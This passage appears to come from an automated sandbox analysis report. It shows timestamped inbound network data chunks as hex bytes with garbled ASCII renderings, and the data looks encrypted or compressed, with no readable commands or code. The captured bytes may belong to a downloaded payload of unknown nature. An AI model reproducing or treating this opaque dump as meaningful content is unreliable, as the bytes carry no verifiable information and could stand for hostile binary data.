5a a1 cb 89 c1 77 a8 7a aa e0 00 c3 c1 59 48 c2 80 34 79 b0 d9 0b 6c fe 39 Data Ascii: .pdgjq<7\|GTfx$]'F}G"`})Q2\-H6z<=yn.iE&=Qn*D3\|{}t[W?ZdVwjZEi[Pnpxl)!RgC%cQ>U!ZwzYH4yl9
2023-08-13 06:42:07 UTC	240	IN	Data Raw: 75 cd eb c3 81 00 8e a3 27 f5 f2 a0 c9 4a 51 d6 22 3d 31 05 ec 7e a7 26 92 d7 c6 4f 5a 44 9e 23 54 e1 5a fe 86 67 db 59 10 60 d1 b7 97 9a 1d f7 6d 2e 66 3a 77 8d 58 73 62 2c 3e bd e8 85 78 0a ec b2 51 9b 15 47 d0 95 27 e8 8d 19 15 bb 33 8c 39 97 e1 c9 91 25 cb c9 d1 dc 3e 0c 16 e9 a9 ef 2b 96 69 0a d8 92 8a ec 79 81 63 66 23 0e 0a 49 a0 6a 2f 3c d9 ae 57 65 24 23 1a ef 58 3a de 50 e7 d7 10 01 fa 43 b5 93 c8 57 10 1a ec 7d 76 82 22 f5 1b 02 e3 91 d2 28 e7 de b7 2f 8b a0 33 05 6b ca 5a 5d 3b 53 2d 32 5c a2 7b 51 fb 0c 4d 93 8f 79 05 89 c5 cd 1f 79 2c f9 e5 4e 4f fb 3b 9c 0c 71 24 51 78 1a 6e bf 8d 5c 52 a5 06 65 a9 c1 19 ed d3 27 34 cb c1 a4 b9 b9 3e fd d7 c0 04 36 ee 1e 4a f5 80 44 68 67 3d 60 64 06 9a 5a ff d9 72 b8 07 ba 61 58 e6 75 da 36 68 5d ad 9b f1 Data Ascii: u'JQ"=1~&OZD#TZgY`m.f:wXsb,>xQG'39%>+iycf#Ij/<We$#X:PCW}v"(/3kZ];S-2\{QMyy,NO;q$Qxn\Re'4>6JDhg=`dZraXu6h]
2023-08-13 06:42:07 UTC	256	IN	Data Raw: d3 70 f9 4e c5 ac 58 5a 5a 16 a2 b3 cd 8b f7 fa ef fe f3 16 40 ef b4 0b 2f 9b 27 98 9a a1 50 48 e0 81 31 22 92 55 ab 35 49 52 53 30 02 ea 51 20 1d 18 52 58 4b b1 4e dd 65 10 ba 44 08 c9 c2 ec ed d5 9e 83 ba 1e b2 72 69 36 f4 04 f2 74 99 21 ca ea 0a c9 7f 87 fc c2 53 0e 89 60 a7 2e 4f 05 7e 9a 9e 61 39 3f 4a b1 43 f1 62 fc ea f7 e5 f8 f2 9c 59 3e 37 8c 8d 2b 0a 4c 10 23 5e 53 51 78 b9 29 5a d2 0e 48 13 2d f7 33 c8 44 77 9a 45 64 db fb ad d6 42 e1 65 16 18 c7 9a 00 96 18 43 f6 86 17 4b 5e 74 e9 a8 67 e2 49 99 1a 1b 2a 16 fa 8e 6e f9 d3 4b 0a af 5c 64 9a 83 7b d4 6e 2a b8 b6 81 eb 0e 39 7a 5b 3e 35 5f 0c db 63 8b 49 f6 99 5f 42 e0 68 63 59 d9 2a b4 45 bc dc 93 7a f5 57 41 af 3f dd a1 6c d8 c1 19 ea b9 ea 45 e3 a5 c8 7e c7 6e 73 a7 fe f6 ba 81 9e 67 24 c5 b8 Data Ascii: pNXZZ@/'PH1"U5IRS0Q RXKNeDri6t!S`.O~a9?JCbY>7+L#^SQx)ZH-3DwEdBeCK^tgInK\d{n9z[>5_cI_BhcY*EzWA?lE~nsg$
2023-08-13 06:42:07 UTC	272	IN	Data Raw: 10 23 fb cd b5 ac ca f5 52 b1 1e 29 4b 53 ea a2 54 33 eb 08 67 21 d7 d4 d0 16 a2 f2 aa 37 3c 3f 90 a2 cb 38 60 37 43 1d d4 09 a8 1e 92 11 fa 97 80 e0 60 b4 ec dd 04 8b f3 9e 3f e1 96 a2 55 72 44 83 a2 aa 12 ff ab ae 7a 88 43 d3 d2 dd 27 29 da e0 30 42 f1 45 5d e3 2b 4b 50 13 8c 10 41 de 29 27 ed b1 09 fe 70 54 05 75 88 75 66 f2 ed 02 53 ab 78 17 ad 7c 0c e1 5e 75 e9 02 7d 52 68 2a c0 ce b9 3b 0d c9 cd 7f 3d 66 c7 a5 79 6c 16 3b f1 d4 30 39 b6 a5 8a dd cc 3c 1d 41 51 a9 33 7c 76 d7 2e f0 42 b7 b3 79 0c 82 c4 cb 33 56 d0 7c 78 9d 8c e4 48 21 5f 53 0a df ff 21 96 8f 77 4a 04 37 f8 1c 5f 10 f3 03 ad 66 7c ad 80 d6 df 8c 7e 26 e8 fe 59 6a a6 61 77 1a bf c6 3c cb b4 3a e6 31 a9 8c 12 a3 86 3a e6 be a4 04 65 24 9e 28 3a 21 3c c0 b6 15 b3 80 e0 08 fd 5a 72 6c b7 Data Ascii: #R)KST3g!7<?8`7C`?UrDzC')0BE]+KPA)'pTuufSx\|^u}Rh*;=fyl;09<AQ3\|v.By3V\|xH!_S!wJ7_f\|~&Yjaw<:1:e$(:!<Zrl
2023-08-13 06:42:07 UTC	288	IN	Data Raw: 32 63 4e c6 1b 6a 62 c4 96 11 26 2b 12 8d 48 5d bd fb 0e 5a c5 87 47 ce 34 7d 9f f4 91 42 58 d1 dd 10 dc 45 1a 44 87 8d 75 83 06 c9 0a 8b 15 a2 0f 0d 26 6b 89 5f e3 66 f9 16 fe 26 6c 3b 0b 7f 20 56 ff 05 71 20 e7 23 23 6c 3d c2 e6 b5 71 0d a0 1d 8e 4a 70 2f 9c 86 92 34 7c dd 3d ed 9f 37 ef 34 07 bf 88 f2 13 98 48 66 21 15 08 77 c7 89 94 cb e0 8c 63 dd 73 ce 74 99 a4 34 52 aa e3 9f a8 8c 70 0f c8 7a b3 74 ea 50 66 19 cc f3 64 e3 ca 58 5e 44 fe 1a 93 aa ed 4e a7 a6 b7 fd 31 da 88 f5 bb 14 78 14 ca 1c ad 6b 1f 5e 93 07 0d d9 d4 b3 a6 ad 87 12 a4 50 13 35 ef a7 4d ac 12 93 fd 48 38 49 43 b8 3a d8 39 99 fc da ff 84 9c d3 b9 e3 7f 46 ea 6b aa 1a 95 1f 7e b7 d5 98 87 b4 06 9c d7 30 f5 7f 27 c4 2b 40 19 b5 f4 71 30 d4 40 1c ba 60 94 08 b8 21 4a a3 0b 2a 70 66 53 Data Ascii: 2cNjb&+H]ZG4}BXEDu&k_f&l; Vq ##l=qJp/4\|=74Hf!wcst4RpztPfdX^DN1xk^P5MH8IC:9Fk~0'+@q0@`!J*pfS
2023-08-13 06:42:07 UTC	304	IN	Data Raw: 76 59 b1 4e db 48 a2 de 46 20 b2 7a f9 77 83 14 47 aa 77 8c 01 25 e7 75 8d e6 3d d6 82 63 0b 77 24 49 81 de 32 16 1f f2 60 ac 03 e2 a9 55 b9 5a fa b0 8f 5b 15 59 5a e9 34 5c 88 f2 02 0e 7c a3 3f df 64 35 ad 9a 64 28 84 1b 2f 91 3d 5c 28 93 fa 34 12 58 86 bc 3f 60 2d f0 f1 fd 7e 55 4f 03 36 2a c4 39 53 30 c8 89 6e 79 6f df 9a 1b dd 94 00 48 b4 cb 31 3e 76 13 36 4e 46 30 a3 2c 6f 2c ce 69 38 02 42 38 f5 20 09 d0 ca 68 dc 30 d9 d0 55 0e 2a 46 0c 83 b2 8d f9 e1 f6 76 4e b9 20 3f ff 65 18 e3 c8 d7 3c 1c 3e 2a 32 b0 2e 63 e5 8b 79 83 8f 72 b4 39 74 f1 44 ec ad be 1c 64 b1 e7 54 ac 83 c2 7f 2b 39 34 27 27 3f 26 e2 87 29 ad 54 33 62 13 64 1a a1 ba 26 e1 5d e1 a8 be bc 8f cc 91 c4 c8 25 3f b9 b9 a6 ff 3e 6d 05 2a ce a1 c4 51 d9 b0 1c ba 97 4d 54 81 69 50 c2 3a 91 Data Ascii: vYNHF zwGw%u=cw$I2`UZ[YZ4\\|?d5d(/=\(4X?`-~UO69S0nyoH1>v6NF0,o,i8B8 h0UFvN ?e<>2.cyr9tDdT+94''?&)T3bd&]%?>mQMTiP:
2023-08-13 06:42:07 UTC	320	IN	Data Raw: 1c 8f 0c 62 b3 11 10 8a fe e7 9a fe ed 5a bd a5 cb 4e 52 7d 1a c0 d8 35 2b fe ca da 46 6e 68 e0 2c 78 bf 17 1e b7 7b 8b 6b bc 82 5a b5 4a 72 c4 ec 17 92 0e 59 3c 6f e5 ef 6c 7f 33 5b 4a a4 46 3b eb 4a 7c b1 c6 f1 0e a9 10 8d 93 9f 75 6a 62 3c ed 1f 29 f0 c7 31 fd ae 33 7f 64 dd d5 42 d5 36 46 79 41 78 ca 85 36 7a 78 7d f2 51 9e 74 4c 31 69 30 2e 07 ae e0 fa d5 46 a8 51 5b 53 e7 6b 24 51 54 0b f3 0f ce 6e c0 a4 6b c5 a4 88 76 39 41 27 4a c7 d3 8b 37 b8 53 c7 bc 92 f9 41 eb d0 48 3c e1 2f c5 0c 25 7b 19 d1 f1 89 7a 42 5b 77 04 7b ad bd cb f9 62 0b 89 22 b6 d2 cb b3 26 b3 40 9d 11 c5 a4 66 ff ea 48 fb ef 98 c3 24 52 f6 e5 41 90 75 81 09 06 ad 88 5c db b1 97 99 53 39 04 ec d7 c6 d5 97 65 14 7d bb 51 64 42 a6 b4 9f 31 7a 0e 5b b2 77 9e 71 d2 0a 48 ee fd 6c a6 Data Ascii: bZNR}5+Fnh,x{kZJrY<ol3[JF;J\|ujb<)13dB6FyAx6zx}QtL1i0.FQ[Sk$QTnkv9A'J7SAH</%{zB[w{b"&@fH$RAu\S9e}QdB1z[wqHl
2023-08-13 06:42:07 UTC	336	IN	Data Raw: f2 61 89 58 0b 05 b5 6e c3 02 ce c9 d3 2a 6d be ed fc 81 d8 f9 6c 65 3e 49 d4 80 6d 2a f0 5b 14 14 06 c9 b9 73 50 74 fc 84 d5 ee 1d 83 31 c6 1c 34 86 ee 3b 4d e2 5f 34 58 15 ad b3 fa 69 0d 35 96 0e 54 c6 27 ae 23 fb 00 79 43 3a c8 9c 15 12 ca f5 33 4f ea 3d b6 70 ea ce 44 b6 84 aa 2a e5 8e 6a a9 7d 63 75 46 66 c7 26 c5 e1 e6 f6 5d 13 3c 3d 23 02 90 08 a1 6d 7a af e6 30 fa 73 e7 db f1 88 27 60 e8 11 16 f9 89 72 bf f0 58 89 5c 28 e0 0e c5 44 9e c8 aa 5b 0a 16 bc f3 2e f4 90 d5 be 3c 41 be 4a 76 fd b3 d3 ad 3c ad 23 b3 8d 68 5b 88 15 63 67 ee bc 19 38 50 bd df 1a 3c 40 39 6c 6b 6a 31 16 10 7d 56 1b af ca 88 9d 11 a1 1c 3e 21 64 b8 04 5d 23 70 c7 19 1a 92 62 ce 7e ef 7c bc df 7f b9 84 1f 39 5e f7 84 a7 18 cf d2 69 94 6b 90 94 2e 17 9f 29 86 e2 2a b3 88 50 45 Data Ascii: aXnmle>Im[sPt14;M_4Xi5T'#yC:3O=pDj}cuFf&]<=#mz0s'`rX\(D[.<AJv<#h[cg8P<@9lkj1}V>!d]#pb~\|9^ik.)PE
2023-08-13 06:42:07 UTC	352	IN	Data Raw: d6 db 36 c8 32 0f a7 75 01 a9 09 af 01 49 ee cf f9 1b c2 c2 3c 73 1d 78 92 89 d6 18 b3 b2 b7 0f 95 33 3d 25 1a 62 c5 d5 e8 f9 4e 62 46 4f f3 4e 3a be 87 ac e3 d9 1a fc f0 24 e9 0f 36 5c bb 9b 9d 53 3c 9d 95 54 88 7c 48 86 f8 13 a9 2e 9d e7 49 35 1e 04 7d 6a 8c be cf 08 cb 50 f2 6c 1a 90 ea 3c d1 4d 69 e5 23 81 1d f9 75 07 b5 5d c5 57 67 f2 51 ad 2e 6b b3 03 3c 43 5d 1e 09 99 d3 6c 72 b4 1e 5c e2 8a 8f a8 f6 9a e7 3d c7 ab 14 3b bc bc 89 6a ab a9 3b b5 aa 7b 3d 53 24 81 cf 79 a2 64 86 c4 84 ac 51 90 84 d0 7d 02 6f 3f d5 de b1 bb e2 fe 69 c2 ee 22 a7 fe 66 38 cd 6c 45 06 0a 5d 19 9c 26 f6 99 32 75 84 5e b3 83 61 4b 63 17 62 82 6d 04 2c fe 74 2a bd 42 64 40 2e b7 8e 2a bb 50 61 7a bc 15 38 20 c2 36 7b 36 72 41 cb e0 0c fc ad f6 f1 91 a9 01 c2 3a 3e 06 67 e4 Data Ascii: 62uI<sx3=%bNbFON:$6\S<T\|H.I5}jPl<Mi#u]WgQ.k<C]lr\=;j;{=S$ydQ}o?i"f8lE]&2u^aKcbm,tBd@.Paz8 6{6rA:>g
2023-08-13 06:42:07 UTC	368	IN	Data Raw: 4e 8f b5 67 ed 3a fa 91 02 c4 a9 ec 0c c7 d2 98 4d 1e a7 f3 e3 b9 96 51 3c 0a 4f d7 ce 98 88 06 fb 96 8a 4f 88 e2 33 c9 e4 7b fb de 09 36 dd f4 c1 5c 56 a9 af 44 52 e3 ee 6f 37 f5 41 1a eb a6 eb 18 bd 0d eb 5a 9a 11 3f c9 f5 4b 88 a8 0b e3 2b 49 20 ae 06 54 b5 19 79 15 f4 74 68 3f 6b f3 57 e6 61 5a 17 99 5e 3b a2 d0 1d 74 26 66 74 ec 43 5c 75 3c 2f e6 25 7c cf 31 fd 0b 26 b1 6c 04 5b ba e0 40 64 94 6b 2c c5 6a ce 4a fc 1f ab 82 ac 13 c4 6f 47 55 52 d1 e7 28 fd 5d 79 89 e5 ce 40 2d 6f f2 1a b2 58 3a dc a0 78 61 66 b2 c8 f2 42 66 1b 4d 3f 6d 89 9f 8a 9c cb 7d 1a 71 25 57 42 66 7c 31 f2 dc 9d ca 6c ce 5b 56 35 97 8a 6c 5a 2c 41 b6 d9 bd 3f a4 18 c6 35 ac a8 d2 ad ac ff 5a 85 e7 2e 3f c0 40 ee 05 56 9f 28 36 32 d7 44 d0 6f 7a b3 74 c7 24 1a 67 ae e8 b1 69 8b Data Ascii: Ng:MQ<OO3{6\VDRo7AZ?K+I Tyth?kWaZ^;t&ftC\u</%\|1&l[@dk,jJoGUR(]y@-oX:xafBfM?m}q%WBf\|1l[V5lZ,A?5Z.?@V(62Dozt$gi
2023-08-13 06:42:07 UTC	384	IN	Data Raw: 36 82 f4 38 01 fa 2b 9e a2 09 42 b1 5b 74 23 39 00 e6 94 19 4c b7 9c 51 e3 14 60 ea fb 0a 60 f2 05 19 27 1e 6c 9e 17 d7 71 84 85 a9 db 33 d7 67 4c 69 be c7 1d 77 68 18 28 4f 9d 84 89 df 1c f0 49 bf 6d 00 80 a0 e3 73 0f c6 64 b7 18 4c 01 ed f7 72 e3 8b 02 7b 8b e3 b0 b2 ff ea 55 c3 e9 12 91 a2 b5 ea b0 38 9a bb 3f eb 3a f8 56 a8 81 0b b7 b4 51 95 a7 1d 10 77 7a 9f 09 ba 3f 8e 20 fb 38 b7 29 c5 ce 21 9e 44 91 ac ee ed fc 1e f5 38 b4 b5 9c 58 5c 4a 3b de 95 67 54 1c 96 bc fe 6b a6 5d 5d 9b ec 62 b3 aa 7d 3f 60 46 0c bd ef ae 06 25 bd f4 8d be 6f 36 20 d7 7c bb f2 60 a6 de ff c8 2b 3c c0 6d e2 ec 2a e9 2f e3 b5 8c b8 c4 85 d5 da 7e e9 35 05 eb fc 94 da a7 eb c3 76 2d dd 3b 40 f6 1e b7 47 13 e5 5a 5e fb bb 8f 6a 60 a3 03 4d ff 2e 2f 3d 1e fe 7a 3c 32 29 3f fa Data Ascii: 68+B[t#9LQ``'lq3gLiwh(OImsdLr{U8?:VQwz? 8)!D8X\J;gTk]]b}?`F%o6 \|`+<m*/~5v-;@GZ^j`M./=z<2)?
2023-08-13 06:42:07 UTC	400	IN	Data Raw: eb 80 86 a6 39 b3 a9 fe fa 9a 07 de 75 22 4d b1 1c 27 ed 72 75 3f 2e fe 08 98 a9 16 f1 66 25 c0 cc aa fb 68 22 d1 1f 8b 90 48 5e 63 02 69 3d c6 58 04 77 64 78 2b 9e 97 35 2c 7f 5e 74 e4 69 d8 8f 39 ae 5b a7 0c 08 e7 16 70 df 51 34 1d 4d 53 b7 ba 09 78 9d 0a 4a d8 71 34 9a 83 dc fb 96 52 fd 96 fa 5e 45 57 08 9f df 12 5e 64 d0 db 96 0a 2e 8f 8f a9 b5 81 15 59 0d 64 8b ca e7 44 30 60 26 16 4c 73 30 40 28 c1 97 96 7f 8d 8f 8e 7b 72 09 d3 4c 8b 6e 06 fb b6 13 f7 38 17 f0 0e 7d 42 6b 74 33 b5 b9 e9 25 17 59 06 46 09 77 48 bd 39 03 d1 75 fc 94 dd 12 59 28 a9 c3 ef 80 d7 7c 1d c7 c2 ed 96 25 21 96 10 98 66 e0 cd 9a 17 6b 26 6d 79 22 7b d0 69 bd 2b 86 8e a8 e6 6b df 1e ea cd 5a 59 0d 64 d2 93 a1 69 5c 4d ee 78 8f 76 ae 3e ce 26 8e 9c 34 4b 84 23 89 07 98 9a 37 ac Data Ascii: 9u"M'ru?.f%h"H^ci=Xwdx+5,^ti9[pQ4MSxJq4R^EW^d.YdD0`&Ls0@({rLn8}Bkt3%YFwH9uY(\|%!fk&my"{i+kZYdi\Mxv>&4K#7
2023-08-13 06:42:07 UTC	416	IN	Data Raw: e8 b6 dd 4f b4 21 89 26 42 da 3e 19 00 ae c1 54 92 e6 a9 ef b7 5d 8d 41 c1 b3 67 5d e0 76 24 28 95 46 7c be 46 f6 7a 04 41 ce f6 c4 c0 18 b7 b4 b5 cd de c1 b4 28 0f d9 92 a1 eb b8 21 de 0f c3 26 1c 74 0d 45 a8 c7 8b 11 da 5a b8 0a fd 37 93 1a c8 cd c2 6d 0e 7d ad cd f0 f5 93 ba a7 fd 09 55 a3 02 39 41 8a 1d be b2 80 65 30 98 0b ef 95 cb 61 ee d3 1c 64 09 a2 31 24 f7 b7 bd fb c9 7b 7d 10 ad 93 b0 76 10 3b b8 45 da 74 84 4b 61 8f 19 5f dc db e0 d5 db 8e 02 cc 8a 3b 8d 4f 46 2a 8e d7 79 fd e3 12 2c cb b0 32 2f 84 dd 63 a9 6e c7 f0 d2 44 1b 63 16 f2 75 1c fe 9d 9c 1b 57 dc 46 f9 29 93 38 fc 76 1c 47 e7 9b 06 ee d1 b7 27 04 21 98 c7 94 f9 a6 1e 78 ef a1 da 66 e5 1a fe 99 cb 1c 27 e3 9b 9b 99 8b 25 a0 db db 20 b0 6d e6 0f 20 a5 a2 39 d6 8a 2c c2 41 d0 fd 4d 0d Data Ascii: O!&B>T]Ag]v$(F\|FzA(!&tEZ7m}U9Ae0ad1${}v;EtKa_;OF*y,2/cnDcuWF)8vG'!xf'% m 9,AM
2023-08-13 06:42:07 UTC	432	IN	Data Raw: 99 b0 6b d6 9d 1b 2b da 27 37 0a 61 bf 51 e3 08 32 54 de 81 c3 c2 83 e3 76 72 67 fd 18 c9 b1 38 0d 99 69 45 b2 15 8b e8 a7 77 1f a5 c7 c0 79 51 8d b3 53 a7 47 2c 79 33 86 31 6b 81 35 8c 91 4e 10 f9 39 97 58 81 3c 92 80 35 d5 a2 e1 28 cc 07 a4 d3 6e 20 f1 d4 80 58 f9 50 3a 8d 1d a5 13 79 6d b4 ff 1a d3 20 68 24 ab e0 fb 59 55 f6 a2 64 0b 89 5b 44 c7 87 b9 56 64 30 bc e6 26 ab 33 dc 7d 9e ac 1e ff b9 c2 ca 3b 46 9f 6a 81 9f 93 1e e9 24 4f fd bb 5f 67 54 e9 1a f6 af 08 e7 be be 81 88 03 20 3f cf ac d3 d7 cc 35 55 29 3c 1b 2e 9d 58 e4 6b c8 83 c1 66 ae 29 9f d1 c4 c6 65 44 76 82 02 4a b7 c7 5d 60 29 06 8f b9 0c db af c8 e9 61 1f 31 1c c1 ed d1 b7 dd e9 4e cd 10 41 09 b9 c1 d0 50 70 4b d7 5d fd 96 64 bb b9 7a 43 cc 48 87 b2 81 95 2e ee e9 83 33 b9 98 87 e3 8e Data Ascii: k+'7aQ2Tvrg8iEwyQSG,y31k5N9X<5(n XP:ym h$YUd[DVd0&3};Fj$O_gT ?5U)<.Xkf)eDvJ]`)a1NAPpK]dzCH.3
2023-08-13 06:42:07 UTC	448	IN	Data Raw: 1f 62 23 24 7f fc 78 fa 5f 5b 3c d3 c9 1d 91 ce 18 1e 70 d5 91 0d 7f 0c aa 45 eb 85 37 a9 4d 02 69 43 fb c1 5b 85 2d 9f 3b 01 f4 9b c3 5d f9 4a 62 74 22 a7 95 5d 77 12 a9 22 4a 9e c5 31 eb 84 e5 c1 e3 97 62 bb 8d 6e 92 ce be 0b 88 3f f4 bf 1d fc ce f4 35 e4 a0 ad 70 7f 72 f9 a7 28 a0 ab bc 1c 38 48 32 43 fe fb ea b6 1e 49 a6 96 13 f1 92 a9 6f 69 d7 9c ca 30 01 4b 18 7f 47 19 88 2a df e5 44 37 8d 58 2f ce 28 2d 4b 92 0a 49 1c e5 2a 85 0d 85 5d b0 b5 be 56 80 73 af c7 2c ac 3a 02 37 00 55 21 e1 1c eb 62 80 3c 10 81 46 e9 a9 1c 69 e7 59 4d 31 7a b3 06 8c 58 84 a8 65 17 8f 4a a6 f8 6d b7 7a 0d 6e 20 7d d2 65 6a 39 c2 10 6d 01 33 52 99 3b 97 df b4 d0 d1 00 a6 ab dc 47 97 b9 8b e3 ea cb 49 c1 eb a3 95 6f 4f 56 d2 ff 95 0e a3 b8 81 5f d1 ca f3 7c 76 d7 7e 15 45 Data Ascii: b#$x_[<pE7MiC[-;]Jbt"]w"J1bn?5pr(8H2CIoi0KGD7X/(-KI]Vs,:7U!b<FiYM1zXeJmzn }ej9m3R;GIoOV_\|v~E
2023-08-13 06:42:07 UTC	464	IN	Data Raw: 21 32 80 f9 70 64 53 b9 8e 78 78 66 6c a4 18 8e b7 b6 87 58 e0 70 23 52 6e c4 b2 00 2f 62 0b 07 bc fe c8 fb a9 fc 6f 04 ca f2 d1 e8 31 49 32 f5 6b e3 b2 a8 f1 3b 44 65 b8 cb 8e da 84 14 be 28 3c 73 9d 4e ba 59 b6 67 27 87 95 72 cd 79 72 6c af 8d 90 bb d1 dc 43 07 a8 da 10 d2 fa 57 6a 7e b0 a7 c6 a1 17 d9 39 78 1d c9 c0 cd fc b9 32 73 5e e2 9a b8 3f 56 a2 ff 55 55 2a 8e 6d f9 c9 a3 9e 5f 05 68 7a 26 31 87 3b 4e d6 c9 8b d2 12 19 2d dd eb 92 50 d6 74 ee ca 3e 59 21 75 b1 95 49 82 98 47 7a 06 73 a3 05 e4 a9 cd 66 93 f1 ee a3 fc 34 cd d9 97 38 5d d4 10 4d 34 1c b2 38 3b 32 e0 29 a9 74 a8 f7 d0 02 77 75 a9 4b 9f 34 83 21 2b aa 2f d5 81 74 05 fc bb 72 57 a4 45 ed 25 68 f9 31 a3 72 9b 63 51 99 2f 78 3c 33 5a dc 3b 83 e2 6e bc 63 e2 37 ba b7 9f 88 8b d3 a1 9c 6a Data Ascii: !2pdSxxflXp#Rn/bo1I2k;De(<sNYg'ryrlCWj~9x2s^?VUU*m_hz&1;N-Pt>Y!uIGzsf48]M48;2)twuK4!+/trWE%h1rcQ/x<3Z;nc7j
2023-08-13 06:42:07 UTC	480	IN	Data Raw: 86 0f c5 d8 eb 19 26 b2 f9 1c 0b 04 78 a5 fd be b0 29 11 e5 a4 38 a5 68 89 70 88 44 1b 75 3e 26 1f 46 de fe d4 8b 2d d9 ba 2e 76 1a f4 3b 9c 13 ee 41 9c 1e 2c 32 81 a3 5d f7 40 49 6b 50 7c 4a 0d 2c fe 34 d9 cb b7 8a 6e f4 6b cb 72 bd fe f9 41 67 db fd bb 66 63 9d 6f a2 84 c5 0f 02 4a 4d c9 30 cd 15 32 f2 98 a0 b3 7a f7 5d 3b f6 a3 b1 e7 39 1b 2b 49 bc 02 a5 d1 2b ab 7a 85 c2 7e a0 61 9d 7b e6 27 a9 8d 54 4e c7 19 e2 8e bd 55 a2 9e 08 81 4f d1 2c 4e 9f fc 0c bc b9 de c3 5e 15 56 ce 18 ca 6c 71 5f 68 10 54 64 9b 01 39 cd 9c 94 92 d4 42 54 e6 fa 45 59 77 fc b6 8d 03 76 c9 5a 5b 48 3c 4c 43 4c 7c 06 61 99 c5 d0 48 e4 50 77 1b b2 b0 38 b5 73 c2 fe 36 39 22 53 6e bf 4d cd 58 e6 56 82 bd 27 a5 53 0b 8a 99 5b 06 05 59 d3 44 89 37 a3 ba c2 ee 6a e0 a2 b1 13 71 06 Data Ascii: &x)8hpDu>&F-.v;A,2]@IkP\|J,4nkrAgfcoJM02z];9+I+z~a{'TNUO,N^Vlq_hTd9BTEYwvZ[H<LCL\|aHPw8s69"SnMXV'S[YD7jq
2023-08-13 06:42:07 UTC	496	IN	Data Raw: 81 62 da 5e a5 d1 11 02 63 a7 fb ed 4a b3 16 4c 1f 6d 25 d9 59 ed 4e 10 de 2c c8 d9 1c 7b 8a 33 dd da 02 7d 49 7b 63 71 e0 2c 22 21 f1 1b e7 fc 7d c3 49 42 ea e1 0a ed 63 f0 ca 46 6b 2f ca b4 0e dd 9e d7 89 80 29 3e 73 1c 73 a6 47 ef d2 5e 11 f4 35 4d 9d 64 92 cc 0e e1 da 04 2a fa c2 9e 31 12 ea f6 55 df 6a 62 ce 33 32 f4 df 23 4e 8c 7f 6d fa f6 66 f7 89 56 63 ce ba 21 eb ee 8a 04 68 c7 20 b9 42 36 8a 1f 92 b2 79 5d a1 2d dc 96 5b 82 84 db 35 08 4d 86 11 9b 88 0e 0d 7a 35 5d 3a 08 7c e2 36 5d b0 a3 c3 17 11 63 fb cb a5 c6 af c3 2f 9b 3c 13 db de 7d 58 03 2b 1c 17 56 27 3d bd ff 82 a3 a8 79 80 a8 b0 9d 03 df d1 3b 81 a9 b2 05 bc 4a c5 b2 1f 11 7f 91 7a c8 49 a1 9b 73 f7 a4 5e 64 1f 5e 0c 20 00 4c bf f8 a6 77 0a 7b 9d ff bd 86 eb b4 59 bc 47 40 63 f9 a7 e8 Data Ascii: b^cJLm%YN,{3}I{cq,"!}IBcFk/)>ssG^5Md*1Ujb32#NmfVc!h B6y]-[5Mz5]:\|6]c/<}X+V'=y;JzIs^d^ Lw{YG@c
2023-08-13 06:42:07 UTC	512	IN	Data Raw: 41 65 a4 9c 6a 04 c6 a0 ac b1 cd 26 c4 60 80 f9 3f e3 b5 e7 f8 01 2a 02 a4 f4 74 49 17 12 16 17 68 20 2e 2c 8a 29 25 47 17 d9 01 d2 17 e8 89 20 17 32 41 43 88 ce 18 cb c9 97 92 ed 0c 12 97 a2 d9 89 16 5b 55 1c 5a 52 1e f7 bb de ed 9f 70 85 3f 28 d8 48 39 e2 18 57 a7 a8 43 66 76 b7 83 2d e9 6c f8 eb 42 96 bf 53 2e 92 f1 8c 74 8c e4 c6 13 0f 66 fe 7e ec 9e 33 be fb 28 86 36 07 76 b4 f7 80 01 a2 6a 1f 1f cb 9a 22 a8 0d 1e 18 68 d6 6a 70 d6 a1 e2 ef df c1 04 9f 67 6d a9 17 97 ef 50 5d a7 08 5e fc 80 94 06 4c f1 f3 b6 7c 32 bb f1 57 01 68 cf 17 17 47 bf 9f 72 90 f1 9e 18 a4 89 f6 8a 45 91 81 6f 2d ae 24 27 4b 08 9f 06 41 b4 d8 a8 52 32 5d f6 49 39 91 6e 37 e2 cd bd 7e a6 8e 58 0a cf d6 4d c3 5b 4e fe 77 14 d7 57 b4 39 d6 1c 23 d6 e4 ce 3b d3 6b 6e 24 f0 9e b1 Data Ascii: Aej&`?*tIh .,)%G 2AC[UZRp?(H9WCfv-lBS.tf~3(6vj"hjpgmP]^L\|2WhGrEo-$'KAR2]I9n7~XM[NwW9#;kn$
2023-08-13 06:42:07 UTC	528	IN	Data Raw: 01 6a bf 98 95 04 89 dd 4e 70 11 7b b6 cf 07 15 04 c6 a9 61 46 32 3a 45 c3 12 cd e3 27 20 96 46 07 ff fc 47 f2 ef cd b8 b5 9b ab f7 96 9c 10 ce 09 49 0f fc a3 fe e3 fe 08 bc 61 db f6 89 a6 4d a4 39 4d 4d 0d 46 6c 09 7a f8 85 1b b5 0c 8c fd 4a c9 55 12 c4 1b 99 c6 46 f3 7e 00 eb 09 aa 0c a6 9c b6 b2 f6 bb 52 fb 6e f5 82 70 26 ed a7 03 8b cd 79 3d fd 3d 55 1a b7 1e 32 21 b6 d4 48 b8 e0 7f fd 6f 39 87 82 ce 91 e1 bf fe 08 74 4c 62 9b ad 40 ca da c8 1f 24 ad 9a 32 8b 56 6d f4 cb d7 28 72 fa 6b 21 76 17 c4 63 60 75 77 d2 b6 47 e2 c3 6b e8 58 db 21 27 6a 4a a1 62 ee 88 9b 81 bf 4e f8 6c 6a 0a 87 01 e9 98 2b 0c 49 56 d2 0e ee c9 05 95 f8 12 32 72 6b c7 af fc e0 69 61 60 a5 e1 70 4b 2a 81 95 76 ac 38 0b 0b 6f 73 8e e8 9d 62 7f 1d 5c 93 ac d0 3d 9f 6d ba fd be c8 Data Ascii: jNp{aF2:E' FGIaM9MMFlzJUF~Rnp&y==U2!Ho9tLb@$2Vm(rk!vc`uwGkX!'jJbNlj+IV2rkia`pK*v8osb\=m
